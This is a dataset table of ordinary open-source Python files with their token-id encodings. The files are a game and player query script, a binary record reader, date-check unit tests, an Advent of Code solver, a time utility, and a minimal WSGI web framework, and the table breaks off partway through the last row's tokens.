max_stars_repo_path
stringlengths 4
237
| max_stars_repo_name
stringlengths 6
117
| max_stars_count
int64 0
95.2k
| id
stringlengths 1
7
| content
stringlengths 12
593k
| input_ids
sequencelengths 7
549k
|
---|---|---|---|---|---|
server/src/db_test_read.py | frederik14/tabletennis_dashboard | 0 | 1608920 | <filename>server/src/db_test_read.py<gh_stars>0
from base import Session
from game import Game
from player import Player
session = Session()
# 3 - extract all movies
players = session.query(Player).all()
# 4 - print movies' details
print('\n### All players:')
for player in players:
print(f'{player.name} has rank {player.rank}')
print('')
# 3 - extract all movies
games = session.query(Game).all()
# 4 - print games' details
print('\n### All games:')
for game in games:
print(f'{game.home_player.name} - {game.out_player.name} ({game.home_sets},{game.out_sets})')
print('') | [
1,
529,
9507,
29958,
2974,
29914,
4351,
29914,
2585,
29918,
1688,
29918,
949,
29889,
2272,
29966,
12443,
29918,
303,
1503,
29958,
29900,
13,
3166,
2967,
1053,
16441,
13,
3166,
3748,
1053,
8448,
13,
3166,
4847,
1053,
14574,
13,
13,
7924,
353,
16441,
580,
13,
13,
29937,
29871,
29941,
448,
6597,
599,
2351,
583,
13,
1456,
414,
353,
4867,
29889,
1972,
29898,
9075,
467,
497,
580,
13,
13,
29937,
29871,
29946,
448,
1596,
2351,
583,
29915,
4902,
13,
2158,
28909,
29876,
2277,
29937,
2178,
10769,
29901,
1495,
13,
1454,
4847,
297,
10769,
29901,
13,
1678,
1596,
29898,
29888,
29915,
29912,
9106,
29889,
978,
29913,
756,
7115,
426,
9106,
29889,
10003,
29913,
1495,
13,
2158,
877,
1495,
13,
13,
29937,
29871,
29941,
448,
6597,
599,
2351,
583,
13,
29887,
1280,
353,
4867,
29889,
1972,
29898,
14199,
467,
497,
580,
13,
13,
29937,
29871,
29946,
448,
1596,
8090,
29915,
4902,
13,
2158,
28909,
29876,
2277,
29937,
2178,
8090,
29901,
1495,
13,
1454,
3748,
297,
8090,
29901,
13,
1678,
1596,
29898,
29888,
29915,
29912,
11802,
29889,
5184,
29918,
9106,
29889,
978,
29913,
448,
426,
11802,
29889,
449,
29918,
9106,
29889,
978,
29913,
21313,
11802,
29889,
5184,
29918,
7224,
29087,
11802,
29889,
449,
29918,
7224,
1800,
1495,
13,
2158,
877,
1495,
2
] |
src/6/reading_and_writing_binary_arrays_of_structures/readrecords.py | tuanavu/python-gitbook | 14 | 78096 | from struct import Struct
def read_records(format, f):
record_struct = Struct(format)
chunks = iter(lambda: f.read(record_struct.size), b'')
return (record_struct.unpack(chunk) for chunk in chunks)
# Example
if __name__ == '__main__':
with open('data.b','rb') as f:
for rec in read_records('<idd', f):
# Process rec
print(rec)
| [
1,
515,
2281,
1053,
28771,
13,
13,
1753,
1303,
29918,
3757,
4339,
29898,
4830,
29892,
285,
1125,
13,
1678,
2407,
29918,
4984,
353,
28771,
29898,
4830,
29897,
13,
1678,
521,
18801,
353,
4256,
29898,
2892,
29901,
285,
29889,
949,
29898,
11651,
29918,
4984,
29889,
2311,
511,
289,
29915,
1495,
13,
1678,
736,
313,
11651,
29918,
4984,
29889,
348,
4058,
29898,
29812,
29897,
363,
19875,
297,
521,
18801,
29897,
13,
13,
29937,
8741,
13,
361,
4770,
978,
1649,
1275,
525,
1649,
3396,
1649,
2396,
13,
1678,
411,
1722,
877,
1272,
29889,
29890,
3788,
6050,
1495,
408,
285,
29901,
13,
4706,
363,
1162,
297,
1303,
29918,
3757,
4339,
877,
29966,
2205,
742,
285,
1125,
13,
9651,
396,
10554,
1162,
13,
9651,
1596,
29898,
3757,
29897,
13,
13,
2
] |
restServiceTest.py | neueda/voting-machine | 0 | 112494 | <reponame>neueda/voting-machine
import unittest
import restService
class RestServiceTest(unittest.TestCase):
def test_valid_check_date(self):
date_to_check = '2015-01-02'
try:
restService.check_date(date_to_check, 'valid date')
except TypeError:
self.fail('valid date raised exception')
def test_valid_check_datetime(self):
date_to_check = '2015-01-02 12:14:01'
try:
restService.check_date(date_to_check, 'valid datetime')
except TypeError:
self.fail('valid datetime raised exception')
def test_invalid_check_date(self):
date_to_check = '01-02'
self.assertRaises(TypeError, restService.check_date, date_to_check, 'date')
if __name__ == '__main__':
unittest.main() | [
1,
529,
276,
1112,
420,
29958,
484,
6742,
29874,
29914,
29894,
11427,
29899,
23523,
13,
5215,
443,
27958,
13,
13,
5215,
1791,
3170,
13,
13,
13,
1990,
11654,
3170,
3057,
29898,
348,
27958,
29889,
3057,
8259,
1125,
13,
1678,
822,
1243,
29918,
3084,
29918,
3198,
29918,
1256,
29898,
1311,
1125,
13,
4706,
2635,
29918,
517,
29918,
3198,
353,
525,
29906,
29900,
29896,
29945,
29899,
29900,
29896,
29899,
29900,
29906,
29915,
13,
4706,
1018,
29901,
13,
9651,
1791,
3170,
29889,
3198,
29918,
1256,
29898,
1256,
29918,
517,
29918,
3198,
29892,
525,
3084,
2635,
1495,
13,
4706,
5174,
20948,
29901,
13,
9651,
1583,
29889,
14057,
877,
3084,
2635,
10425,
3682,
1495,
13,
13,
1678,
822,
1243,
29918,
3084,
29918,
3198,
29918,
12673,
29898,
1311,
1125,
13,
4706,
2635,
29918,
517,
29918,
3198,
353,
525,
29906,
29900,
29896,
29945,
29899,
29900,
29896,
29899,
29900,
29906,
29871,
29896,
29906,
29901,
29896,
29946,
29901,
29900,
29896,
29915,
13,
4706,
1018,
29901,
13,
9651,
1791,
3170,
29889,
3198,
29918,
1256,
29898,
1256,
29918,
517,
29918,
3198,
29892,
525,
3084,
12865,
1495,
13,
4706,
5174,
20948,
29901,
13,
9651,
1583,
29889,
14057,
877,
3084,
12865,
10425,
3682,
1495,
13,
13,
1678,
822,
1243,
29918,
20965,
29918,
3198,
29918,
1256,
29898,
1311,
1125,
13,
4706,
2635,
29918,
517,
29918,
3198,
353,
525,
29900,
29896,
29899,
29900,
29906,
29915,
13,
4706,
1583,
29889,
9294,
29934,
1759,
267,
29898,
1542,
2392,
29892,
1791,
3170,
29889,
3198,
29918,
1256,
29892,
2635,
29918,
517,
29918,
3198,
29892,
525,
1256,
1495,
13,
13,
13,
361,
4770,
978,
1649,
1275,
525,
1649,
3396,
1649,
2396,
13,
1678,
443,
27958,
29889,
3396,
580,
2
] |
2016/day_23.py | nabiirah/advent-of-code | 24 | 97726 | <filename>2016/day_23.py
"""Advent of Code Day 23 - Safe Cracking"""
from collections import defaultdict
def is_num(s):
"""Determine whether a string is a number or not."""
try:
int(s)
except ValueError:
return False
return True
def do_ops(start_a):
"""Carry out operations and return the value of register 'a'."""
registers = defaultdict(int)
registers['a'] = start_a
i = 0
while i < len(ops):
if ops[i][0] == 0:
if is_num(ops[i][1]):
registers[ops[i][2]] = ops[i][1]
else:
registers[ops[i][2]] = registers[ops[i][1]]
elif ops[i][0] == 1:
registers[ops[i][1]] += 1
elif ops[i][0] == 2:
registers[ops[i][1]] -= 1
elif ops[i][0] == 3:
if is_num(ops[i][1]):
if ops[i][1] != 0:
if is_num(ops[i][2]):
i += ops[i][2] - 1
else:
i += registers[ops[i][2]] - 1
elif registers[ops[i][1]] != 0:
if is_num(ops[i][2]):
i += ops[i][2] - 1
else:
i += registers[ops[i][2]] - 1
elif ops[i][0] == 4:
jump = i + registers[ops[i][1]]
if jump >= len(ops):
i += 1
continue
if len(ops[jump]) == 2:
if ops[jump][0] == 1:
ops[jump][0] = 2
else:
ops[jump][0] = 1
else:
if ops[jump][0] == 3:
ops[jump][0] = 0
else:
ops[jump][0] = 3
elif ops[i][0] == 5:
# For part two found slow loop and modified it with this and NOPs
registers['a'] = registers['b'] * registers['d']
i += 1
return registers['a']
op_conv = {
'cpy': 0,
'inc': 1,
'dec': 2,
'jnz': 3,
'tgl': 4,
'mul': 5
}
with open('inputs/day_23.txt') as f:
ops = [line.strip().split(' ') for line in f.readlines()]
for op in ops:
op[0] = op_conv[op[0]]
if is_num(op[1]):
op[1] = int(op[1])
if len(op) == 3 and is_num(op[2]):
op[2] = int(op[2])
# Answer One (Change argument to 7) / Answer Two
print("Register a:", do_ops(12))
| [
1,
529,
9507,
29958,
29906,
29900,
29896,
29953,
29914,
3250,
29918,
29906,
29941,
29889,
2272,
13,
15945,
29908,
3253,
794,
310,
5920,
8373,
29871,
29906,
29941,
448,
5701,
1725,
14279,
384,
292,
15945,
29908,
13,
13,
3166,
16250,
1053,
2322,
8977,
13,
13,
13,
1753,
338,
29918,
1949,
29898,
29879,
1125,
13,
1678,
9995,
6362,
837,
457,
3692,
263,
1347,
338,
263,
1353,
470,
451,
1213,
15945,
13,
1678,
1018,
29901,
13,
4706,
938,
29898,
29879,
29897,
13,
1678,
5174,
7865,
2392,
29901,
13,
4706,
736,
7700,
13,
1678,
736,
5852,
13,
13,
13,
1753,
437,
29918,
3554,
29898,
2962,
29918,
29874,
1125,
13,
1678,
9995,
8179,
719,
714,
6931,
322,
736,
278,
995,
310,
6036,
525,
29874,
29915,
1213,
15945,
13,
1678,
28975,
353,
2322,
8977,
29898,
524,
29897,
13,
1678,
28975,
1839,
29874,
2033,
353,
1369,
29918,
29874,
13,
1678,
474,
353,
29871,
29900,
13,
1678,
1550,
474,
529,
7431,
29898,
3554,
1125,
13,
4706,
565,
288,
567,
29961,
29875,
3816,
29900,
29962,
1275,
29871,
29900,
29901,
13,
9651,
565,
338,
29918,
1949,
29898,
3554,
29961,
29875,
3816,
29896,
29962,
1125,
13,
18884,
28975,
29961,
3554,
29961,
29875,
3816,
29906,
5262,
353,
288,
567,
29961,
29875,
3816,
29896,
29962,
13,
9651,
1683,
29901,
13,
18884,
28975,
29961,
3554,
29961,
29875,
3816,
29906,
5262,
353,
28975,
29961,
3554,
29961,
29875,
3816,
29896,
5262,
13,
13,
4706,
25342,
288,
567,
29961,
29875,
3816,
29900,
29962,
1275,
29871,
29896,
29901,
13,
9651,
28975,
29961,
3554,
29961,
29875,
3816,
29896,
5262,
4619,
29871,
29896,
13,
13,
4706,
25342,
288,
567,
29961,
29875,
3816,
29900,
29962,
1275,
29871,
29906,
29901,
13,
9651,
28975,
29961,
3554,
29961,
29875,
3816,
29896,
5262,
22361,
29871,
29896,
13,
13,
4706,
25342,
288,
567,
29961,
29875,
3816,
29900,
29962,
1275,
29871,
29941,
29901,
13,
9651,
565,
338,
29918,
1949,
29898,
3554,
29961,
29875,
3816,
29896,
29962,
1125,
13,
18884,
565,
288,
567,
29961,
29875,
3816,
29896,
29962,
2804,
29871,
29900,
29901,
13,
462,
1678,
565,
338,
29918,
1949,
29898,
3554,
29961,
29875,
3816,
29906,
29962,
1125,
13,
462,
4706,
474,
4619,
288,
567,
29961,
29875,
3816,
29906,
29962,
448,
29871,
29896,
13,
462,
1678,
1683,
29901,
13,
462,
4706,
474,
4619,
28975,
29961,
3554,
29961,
29875,
3816,
29906,
5262,
448,
29871,
29896,
13,
13,
9651,
25342,
28975,
29961,
3554,
29961,
29875,
3816,
29896,
5262,
2804,
29871,
29900,
29901,
13,
18884,
565,
338,
29918,
1949,
29898,
3554,
29961,
29875,
3816,
29906,
29962,
1125,
13,
462,
1678,
474,
4619,
288,
567,
29961,
29875,
3816,
29906,
29962,
448,
29871,
29896,
13,
18884,
1683,
29901,
13,
462,
1678,
474,
4619,
28975,
29961,
3554,
29961,
29875,
3816,
29906,
5262,
448,
29871,
29896,
13,
13,
4706,
25342,
288,
567,
29961,
29875,
3816,
29900,
29962,
1275,
29871,
29946,
29901,
13,
9651,
12500,
353,
474,
718,
28975,
29961,
3554,
29961,
29875,
3816,
29896,
5262,
13,
9651,
565,
12500,
6736,
7431,
29898,
3554,
1125,
13,
18884,
474,
4619,
29871,
29896,
13,
18884,
6773,
13,
13,
9651,
565,
7431,
29898,
3554,
29961,
29926,
3427,
2314,
1275,
29871,
29906,
29901,
13,
18884,
565,
288,
567,
29961,
29926,
3427,
3816,
29900,
29962,
1275,
29871,
29896,
29901,
13,
462,
1678,
288,
567,
29961,
29926,
3427,
3816,
29900,
29962,
353,
29871,
29906,
13,
18884,
1683,
29901,
13,
462,
1678,
288,
567,
29961,
29926,
3427,
3816,
29900,
29962,
353,
29871,
29896,
13,
13,
9651,
1683,
29901,
13,
18884,
565,
288,
567,
29961,
29926,
3427,
3816,
29900,
29962,
1275,
29871,
29941,
29901,
13,
462,
1678,
288,
567,
29961,
29926,
3427,
3816,
29900,
29962,
353,
29871,
29900,
13,
18884,
1683,
29901,
13,
462,
1678,
288,
567,
29961,
29926,
3427,
3816,
29900,
29962,
353,
29871,
29941,
13,
13,
4706,
25342,
288,
567,
29961,
29875,
3816,
29900,
29962,
1275,
29871,
29945,
29901,
13,
9651,
396,
1152,
760,
1023,
1476,
5232,
2425,
322,
9120,
372,
411,
445,
322,
405,
4590,
29879,
13,
9651,
28975,
1839,
29874,
2033,
353,
28975,
1839,
29890,
2033,
334,
28975,
1839,
29881,
2033,
13,
13,
4706,
474,
4619,
29871,
29896,
13,
13,
1678,
736,
28975,
1839,
29874,
2033,
13,
13,
13,
459,
29918,
20580,
353,
426,
13,
1678,
525,
23141,
2396,
29871,
29900,
29892,
13,
1678,
525,
3742,
2396,
29871,
29896,
29892,
13,
1678,
525,
7099,
2396,
29871,
29906,
29892,
13,
1678,
525,
29926,
29876,
29920,
2396,
29871,
29941,
29892,
13,
1678,
525,
29873,
3820,
2396,
29871,
29946,
29892,
13,
1678,
525,
16109,
2396,
29871,
29945,
13,
29913,
13,
13,
2541,
1722,
877,
2080,
29879,
29914,
3250,
29918,
29906,
29941,
29889,
3945,
1495,
408,
285,
29901,
13,
1678,
288,
567,
353,
518,
1220,
29889,
17010,
2141,
5451,
877,
25710,
363,
1196,
297,
285,
29889,
949,
9012,
580,
29962,
13,
13,
1454,
1015,
297,
288,
567,
29901,
13,
1678,
1015,
29961,
29900,
29962,
353,
1015,
29918,
20580,
29961,
459,
29961,
29900,
5262,
13,
1678,
565,
338,
29918,
1949,
29898,
459,
29961,
29896,
29962,
1125,
13,
4706,
1015,
29961,
29896,
29962,
353,
938,
29898,
459,
29961,
29896,
2314,
13,
1678,
565,
7431,
29898,
459,
29897,
1275,
29871,
29941,
322,
338,
29918,
1949,
29898,
459,
29961,
29906,
29962,
1125,
13,
4706,
1015,
29961,
29906,
29962,
353,
938,
29898,
459,
29961,
29906,
2314,
13,
13,
29937,
673,
3118,
313,
7277,
2980,
304,
29871,
29955,
29897,
847,
673,
7803,
13,
2158,
703,
15213,
263,
29901,
613,
437,
29918,
3554,
29898,
29896,
29906,
876,
13,
2
] |
openeew/time_utils.py | waidyanatha/openeew-detection | 1 | 193460 | from time import time
from numpy import arange, mean
def set_time(times, sample_rate, samples):
"""
times = time stamps by fifo in each payload
sample_rate = sample rate
samples = number of data samples
"""
fifos = len(times)
differences = []
if fifos > 1:
for index, time in enumerate(times[0:-1]):
differences.append(times[index + 1] - time)
delta = mean(differences) / (samples / fifos)
else:
delta = 1 / sample_rate
times.append(times[0] + samples * delta)
return arange(times[0] - ((samples / fifos)) * delta, times[-1] + delta, delta).tolist()
def get_current_timestamp():
return time()
| [
1,
515,
931,
1053,
931,
13,
13,
3166,
12655,
1053,
564,
927,
29892,
2099,
13,
13,
13,
1753,
731,
29918,
2230,
29898,
3706,
29892,
4559,
29918,
10492,
29892,
11916,
1125,
13,
1678,
9995,
13,
1678,
3064,
353,
931,
380,
15092,
491,
8461,
29877,
297,
1269,
20092,
13,
1678,
4559,
29918,
10492,
353,
4559,
6554,
13,
1678,
11916,
353,
1353,
310,
848,
11916,
13,
1678,
9995,
13,
13,
1678,
8461,
359,
353,
7431,
29898,
3706,
29897,
13,
1678,
12651,
353,
5159,
13,
13,
1678,
565,
8461,
359,
1405,
29871,
29896,
29901,
13,
4706,
363,
2380,
29892,
931,
297,
26985,
29898,
3706,
29961,
29900,
13018,
29896,
29962,
1125,
13,
9651,
12651,
29889,
4397,
29898,
3706,
29961,
2248,
718,
29871,
29896,
29962,
448,
931,
29897,
13,
4706,
19471,
353,
2099,
29898,
29881,
8349,
2063,
29897,
847,
313,
27736,
847,
8461,
359,
29897,
13,
1678,
1683,
29901,
13,
4706,
19471,
353,
29871,
29896,
847,
4559,
29918,
10492,
13,
4706,
3064,
29889,
4397,
29898,
3706,
29961,
29900,
29962,
718,
11916,
334,
19471,
29897,
13,
13,
1678,
736,
564,
927,
29898,
3706,
29961,
29900,
29962,
448,
5135,
27736,
847,
8461,
359,
876,
334,
19471,
29892,
3064,
14352,
29896,
29962,
718,
19471,
29892,
19471,
467,
25027,
391,
580,
13,
13,
13,
1753,
679,
29918,
3784,
29918,
16394,
7295,
13,
1678,
736,
931,
580,
13,
2
] |
mnml.py | garethr/mnml | 2 | 186346 | #!/usr/bin/env python
"""
MNML WSGI Web Framework
A small python glue framework for building web applications and services that
run atop WSGI compliant servers. The emphasis is on HTTP best practices,
readble code and allowing applications to be built with using whatever
other python modules you like.
MNML has borrowed fairly heavily from newf, since that's
basically the bare minimum code required for a routed WSGI framework.
"""
import re
import sys
import cgi
import urlparse
from wsgiref.simple_server import make_server
# limit exports
__all__ = [
'HttpRequest', 'HttpResponse', 'HttpResponseRedirect', 'RequestHandler',
'development_server', 'TokenBasedApplication', 'RegexBasedApplication',
]
class RequestHandler(object):
"""
Our base HTTP request handler. Clients should subclass this class.
Subclasses should override get(), post(), head(), options(), etc to handle
different HTTP methods.
"""
def __init__(self, request):
"Stash the request locally to make the API nicer"
self.request = request
def GET(self, *args):
"Handler method for GET requests."
return self.error(405)
def POST(self, *args):
"Handler method for POST requests."
return self.error(405)
def HEAD(self, *args):
"Handler method for HEAD requests."
return self.error(405)
def OPTIONS(self, *args):
"Handler method for OPTIONS requests."
return self.error(405)
def PUT(self, *args):
"Handler method for PUT requests."
return self.error(405)
def DELETE(self, *args):
"Handler method for DELETE requests."
return self.error(405)
def TRACE(self, *args):
"Handler method for TRACE requests."
return self.error(405)
def error(self, code, message=''):
"Sets the given HTTP error code."
return HttpResponse(message, status_code=code)
class HttpError(Exception):
"Generic exception for HTTP issues"
pass
class HttpRequest(object):
"Our request object which stores information about the HTTP request"
def __init__(self, environ):
"Initialise our request with an environment"
self.POST = self.GET = {}
self.environ = environ
# we often want access to the method so we'll make that
# easier to get at
self.method = environ['REQUEST_METHOD']
# and the path
self.path = environ['PATH_INFO']
# http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html
if self.method not in ('POST', 'GET', 'DELETE', 'PUT', 'HEAD',
'OPTIONS', 'TRACE'):
raise HttpError, "Invalid request"
# if we have any query string arguments then we'll make then
# more easily accessible
if len(environ['QUERY_STRING']):
self.GET = urlparse.parse_qs(environ['QUERY_STRING'], True)
# if we have post data we'll make that more accessible too
if self.method == 'POST':
self.POST = cgi.FieldStorage(fp=environ['wsgi.input'],
environ=environ,
keep_blank_values=True)
# like PHP's $_REQUEST - but you should usually be more explicit
self.REQUEST = self.GET.copy()
self.REQUEST.update(self.POST)
class HttpResponse(object):
"Our Response object"
# http://www.faqs.org/rfcs/rfc2616.html
codes = {
100: "Continue",
101: "Switching Protocols",
200: "OK",
201: "Created",
202: "Accepted",
203: "Non-Authoritative Information",
204: "No Content",
205: "Reset Content",
206: "Partial Content",
300: "Multiple Choices",
301: "Moved Permanently",
302: "Found",
303: "See Other",
304: "Not Modified",
305: "Use Proxy",
307: "Temporary Redirect",
400: "Bad Request",
401: "Unauthorized",
402: "Payment Required",
403: "Forbidden",
404: "Not Found",
405: "Method Not Allowed",
406: "Not Acceptable",
407: "Proxy Authentication Required",
408: "Request Time-out",
409: "Conflict",
410: "Gone",
411: "Length Required",
412: "Precondition Failed",
413: "Request Entity Too Large",
414: "Request-URI Too Large",
415: "Unsupported Media Type",
416: "Requested range not satisfiable",
417: "Expectation Failed",
500: "Internal Server Error",
501: "Not Implemented",
502: "Bad Gateway",
503: "Service Unavailable",
504: "Gateway Time-out",
505: "HTTP Version not supported",
}
def __init__(self, content='', headers={}, status_code=200):
"Initialise our response, assuming everything is fine"
self.status_code = status_code
self.set_content(content)
self._headers = headers
self._headers['content-length'] = str(len(content))
# lets assume text/html unless told otherwise
if not 'content-type' in self.headers:
self._headers['content-type'] = 'text/html'
def get_status(self):
"Get the status code and message, but make sure it's valid first"
if self.status_code not in self.codes:
# invalid code, so something has gone wrong
self.status_code = 500
return "%s %s" % (self.status_code, self.codes[self.status_code])
def set_status(self, code):
"API setter method"
self.status_code = code
def get_headers(self):
"Return the headers as a list"
return list(self._headers.iteritems())
def set_headers(self, *args):
"Set the response headers, takes either a key/value or a dictionary"
if type(args[0]).__name__ == 'dict':
self._headers.update(args[0])
else:
key, value = args
self._headers[key] = value
def get_content(self):
"Return the body of the response in a useful format"
return [self._content, '\n']
def set_content(self, value):
"Set the body of the response, ensuring we're using utf-8"
# http://www.python.org/dev/peps/pep-0333/#unicode-issues
if isinstance(value, unicode):
value = value.encode('utf-8')
self._content = value
# make the important parts of the response properties of the object
content = property(get_content, set_content)
status = property(get_status, set_status)
headers = property(get_headers, set_headers)
class HttpResponseRedirect(HttpResponse):
"Sub class of HttpResponse making redirects easier to handle"
def __init__(self, redirect_location, permanent=True):
super(HttpResponseRedirect, self).__init__()
self._headers['Location'] = redirect_location
# allow us to set whether we want a 301 or 302 redirect
if permanent:
self.status_code = 301
else:
self.status_code = 302
class WebApplication(object):
"""
Accepts a set of routes and provides a WSGI application.
This specific class is intended to be subclassed depending on
what sort of routing engine you want to use. If used it will
always return a 404.
"""
def __init__(self, routes):
self.routes = routes
def __call__(self, environ, start_response):
response = self.create_response(environ)
# we don't have a valid response
if not isinstance(response, HttpResponse):
try:
# must times not having a response means we didn't match
# a handler so this will fail, but just in case
return handler.error(404)
except:
# in a real application this will probably never happen
# you should always define your own catch all handler which
# matches everything that falls all the way through your
# routes and deal with it yourself.
response = HttpResponse(
'<h1>Page Not Found</h1>', status_code=404)
start_response(response.status, response.get_headers())
return response.content
def create_response(self, environ):
"Takes the environment and returns a response object or None"
return None
class RegexBasedApplication(WebApplication):
"""
Example Application using a regex based scheme for routing.
This is slightly faster and allows more detailed routes
at the expense of making reversing impossible. Routes look like:
routes = (
(r'^/foo/([0-9]+)/([0-9]+)', Foo),
(r'^/bar$', Bar),
('/.*', NotFoundPageHandler),
)
"""
def create_response(self, environ):
"Takes the environment and returns a response object or None"
handler = None
groups = []
response = None
# get the request from the environment
request = HttpRequest(environ)
# compile all the individual regexs
routes = tuple((re.compile(a), b) for a, b in self.routes)
# for each regex, class pair
for regexp, handler_class in routes:
# if it matches the path we're dealing with
match = regexp.match(environ['PATH_INFO'])
if match:
# instantiate the handler class
handler = handler_class(request)
# and grab the matched segments
groups = match.groups()
break
# if we found a relevant handler
if handler:
# try the request method to see if the
# handler supports it and if so then
# call the method
try:
method = environ['REQUEST_METHOD']
if method == 'GET':
response = handler.GET(*groups)
elif method == 'POST':
response = handler.POST(*groups)
elif method == 'HEAD':
response = handler.HEAD(*groups)
elif method == 'OPTIONS':
response = handler.OPTIONS(*groups)
elif method == 'PUT':
response = handler.PUT(*groups)
elif method == 'DELETE':
response = handler.DELETE(*groups)
elif method == 'TRACE':
response = handler.TRACE(*groups)
except Exception, e:
# capture any exceptions so we can throw a relevant error
return handler.error(500, e)
# eventually return the response, which if we didn't find
# one will be None
return response
class TokenBasedApplication(WebApplication):
"""
Example Application using a simple token based scheme for routing.
This has the advantage of making reversing relatively simple.
Routes look like:
routes = (
('/', Foo),
('/myview/:stuff/', Bar)
)
"""
def create_response(self, environ):
"Takes the environment and returns a response object or None"
response = None
groups = []
request = HttpRequest(environ)
for pair in self.routes:
route, view = pair
matches = re.match(self._route_master(route), environ['PATH_INFO'])
# if we found a match
if matches:
groups = matches.groups()
handler = view(request)
# try the request method to see if the
# handler supports it and if so then
# call the method
try:
method = environ['REQUEST_METHOD']
if method == 'GET':
response = handler.GET(*groups)
elif method == 'POST':
response = handler.POST(*groups)
elif method == 'HEAD':
response = handler.HEAD(*groups)
elif method == 'OPTIONS':
response = handler.OPTIONS(*groups)
elif method == 'PUT':
response = handler.PUT(*groups)
elif method == 'DELETE':
response = handler.DELETE(*groups)
elif method == 'TRACE':
response = handler.TRACE(*groups)
except Exception, e:
# capture any exceptions so we can throw a relevant error
return handler.error(500, e)
finally:
# once we have a match we can stop looking
break
# eventually return the response, which if we didn't find
# one will be None
return response
def _route_master(self, route):
"returns a compiled regular expression"
# chop off leading slash
if route.startswith('/'):
route = route[1:]
trailing_slash = False
# check end slash and remember to keep it
if route.endswith('/'):
route = route[:-1]
trailing_slash = True
# split into path components
bits = route.split('/')
# compiled match starts with a slash,
# so we make it a list so we can join later
regex = ['']
for path_component in bits:
if path_component.startswith(':'):
# it's a route, so compile
name = path_component[1:]
# accept only valid URL characters
regex.append(r'(?P<%s>[-_a-zA-Z0-9+%%]+)' % name)
else:
# just a string/static path component
regex.append(path_component)
# stick the trailing slash back on
if trailing_slash:
regex.append('')
# stitch it back together as a path
return '^%s$' % '/'.join(regex)
def development_server(application, port=8000):
"A simple WSGI development server"
server = make_server('', port, application)
print 'MNML now running on http://127.0.0.1:%s\n' % port
try:
server.serve_forever()
except KeyboardInterrupt:
sys.exit()
| [
1,
18787,
4855,
29914,
2109,
29914,
6272,
3017,
13,
13,
15945,
29908,
13,
29924,
29940,
1988,
399,
26016,
29902,
2563,
16657,
13,
13,
29909,
2319,
3017,
3144,
434,
6890,
363,
5214,
1856,
8324,
322,
5786,
393,
29871,
13,
3389,
472,
459,
399,
26016,
29902,
752,
492,
424,
12424,
29889,
450,
19310,
275,
338,
373,
7331,
1900,
23274,
29892,
29871,
13,
949,
569,
775,
322,
14372,
8324,
304,
367,
4240,
411,
773,
6514,
13,
1228,
3017,
10585,
366,
763,
29889,
13,
13,
29924,
29940,
1988,
756,
27942,
287,
12558,
20365,
515,
716,
29888,
29892,
1951,
393,
29915,
29879,
29871,
13,
6500,
1711,
278,
16079,
9212,
775,
3734,
363,
263,
6745,
287,
399,
26016,
29902,
6890,
29889,
13,
13,
15945,
29908,
13,
13,
5215,
337,
13,
5215,
10876,
13,
5215,
274,
3146,
13,
5215,
3142,
5510,
13,
3166,
281,
5311,
533,
29888,
29889,
12857,
29918,
2974,
1053,
1207,
29918,
2974,
13,
13,
29937,
4046,
29586,
13,
1649,
497,
1649,
353,
518,
13,
1678,
525,
26021,
742,
525,
5506,
5103,
742,
525,
5506,
5103,
24735,
742,
525,
3089,
4598,
742,
29871,
13,
1678,
525,
25431,
29918,
2974,
742,
525,
6066,
29933,
1463,
4873,
742,
525,
4597,
735,
29933,
1463,
4873,
742,
13,
29962,
13,
268,
13,
1990,
10729,
4598,
29898,
3318,
1125,
13,
1678,
9995,
13,
1678,
8680,
2967,
7331,
2009,
7834,
29889,
315,
492,
1237,
881,
19481,
445,
770,
29889,
13,
1678,
3323,
13203,
881,
5712,
679,
3285,
1400,
3285,
2343,
3285,
3987,
3285,
2992,
304,
4386,
13,
1678,
1422,
7331,
3519,
29889,
13,
1678,
9995,
13,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
2009,
1125,
13,
4706,
376,
855,
1161,
278,
2009,
12430,
304,
1207,
278,
3450,
16588,
261,
29908,
13,
4706,
1583,
29889,
3827,
353,
2009,
13,
13,
1678,
822,
12354,
29898,
1311,
29892,
334,
5085,
1125,
13,
4706,
376,
4598,
1158,
363,
12354,
7274,
1213,
13,
4706,
736,
1583,
29889,
2704,
29898,
29946,
29900,
29945,
29897,
13,
13,
1678,
822,
11971,
29898,
1311,
29892,
334,
5085,
1125,
13,
4706,
376,
4598,
1158,
363,
11971,
7274,
1213,
13,
4706,
736,
1583,
29889,
2704,
29898,
29946,
29900,
29945,
29897,
13,
13,
1678,
822,
17714,
3035,
29898,
1311,
29892,
334,
5085,
1125,
13,
4706,
376,
4598,
1158,
363,
17714,
3035,
7274,
1213,
13,
4706,
736,
1583,
29889,
2704,
29898,
29946,
29900,
29945,
29897,
13,
13,
1678,
822,
6418,
29911,
27946,
29898,
1311,
29892,
334,
5085,
1125,
13,
4706,
376,
4598,
1158,
363,
6418,
29911,
27946,
7274,
1213,
13,
4706,
736,
1583,
29889,
2704,
29898,
29946,
29900,
29945,
29897,
13,
13,
1678,
822,
349,
2692,
29898,
1311,
29892,
334,
5085,
1125,
13,
4706,
376,
4598,
1158,
363,
349,
2692,
7274,
1213,
13,
4706,
736,
1583,
29889,
2704,
29898,
29946,
29900,
29945,
29897,
13,
13,
1678,
822,
5012,
18476,
29898,
1311,
29892,
334,
5085,
1125,
13,
4706,
376,
4598,
1158,
363,
5012,
18476,
7274,
1213,
13,
4706,
736,
1583,
29889,
2704,
29898,
29946,
29900,
29945,
29897,
13,
13,
1678,
822,
10014,
11538,
29898,
1311,
29892,
334,
5085,
1125,
13,
4706,
376,
4598,
1158,
363,
10014,
11538,
7274,
1213,
13,
4706,
736,
1583,
29889,
2704,
29898,
29946,
29900,
29945,
29897,
13,
308,
13,
1678,
822,
1059,
29898,
1311,
29892,
775,
29892,
2643,
2433,
29374,
13,
4706,
376,
29903,
1691,
278,
2183,
7331,
1059,
775,
1213,
539,
13,
4706,
736,
9056,
5103,
29898,
4906,
29892,
4660,
29918,
401,
29922,
401,
29897,
13,
308,
13,
1990,
9056,
2392,
29898,
2451,
1125,
13,
1678,
376,
15809,
3682,
363,
7331,
5626,
29908,
13,
1678,
1209,
13,
13,
1990,
9056,
3089,
29898,
3318,
1125,
13,
1678,
376,
29949,
332,
2009,
1203,
607,
14422,
2472,
1048,
278,
7331,
2009,
29908,
13,
268,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
12471,
1125,
13,
4706,
376,
15514,
895,
1749,
2009,
411,
385,
5177,
29908,
13,
4706,
1583,
29889,
5438,
353,
1583,
29889,
7194,
353,
6571,
13,
4706,
1583,
29889,
21813,
353,
12471,
13,
4706,
396,
591,
4049,
864,
2130,
